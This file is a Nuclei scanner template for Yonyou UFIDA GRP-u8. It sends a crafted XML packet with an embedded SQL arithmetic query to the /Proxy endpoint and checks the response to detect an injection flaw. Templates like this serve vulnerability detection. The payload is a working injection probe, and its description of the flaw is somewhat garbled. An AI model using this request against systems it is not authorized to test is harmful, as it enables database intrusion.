yonyou-grp-u8-xxe: Yonyou UFIDA GRP-u8 - XXE

id: yonyou-grp-u8-xxe

info:
  name: Yonyou UFIDA GRP-u8 - XXE
  author: SleepingBag945
  severity: critical
  description: UFIDA GRP-u8 has an XXE vulnerability. This vulnerability is caused by the application not loading external entities when parsing XML input, resulting in the loading of external SQL statements and command execution.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20GRP-U8%20Proxy%20SQL%E6%B3%A8%E5%85%A5%20CNNVD-201610-923.html
  metadata:
    max-request: 1
  tags: yonyou,grp,xxe,sqli,vuln
variables:
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        POST /Proxy HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip

        cVer=9.8.0&dp=%3c?xml%20version%3d%221.0%22%20encoding%3d%22GB2312%22?%3e%3cR9PACKET%20version%3d%221%22%3e%3cDATAFORMAT%3eXML%3c%2fDATAFORMAT%3e%3cR9FUNCTION%3e%3cNAME%3eAS_DataRequest%3c%2fNAME%3e%3cPARAMS%3e%3cPARAM%3e%3cNAME%3eProviderName%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3eDataSetProviderData%3c%2fDATA%3e%3c%2fPARAM%3e%3cPARAM%3e%3cNAME%3eData%3c%2fNAME%3e%3cDATA%20format%3d%22text%22%3e%20select%20{{num1}}%2a{{num2}}%20%3c%2fDATA%3e%3c%2fPARAM%3e%3c%2fPARAMS%3e%3c%2fR9FUNCTION%3e%3c%2fR9PACKET%3e

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{result}}"

      - type: word
        words:
          - "<R9PACKET>"
# digest: 4a0a00473045022100f71f62ab613b77ce08de213482e9c0cd80f0f9f39f955bcba45af13ccb546aa702207923a19fea8368d4c216139337ec8d67e08dd464be408c130f4af0d83cb29bbb:922c64590222798bb761d5b6d8e72950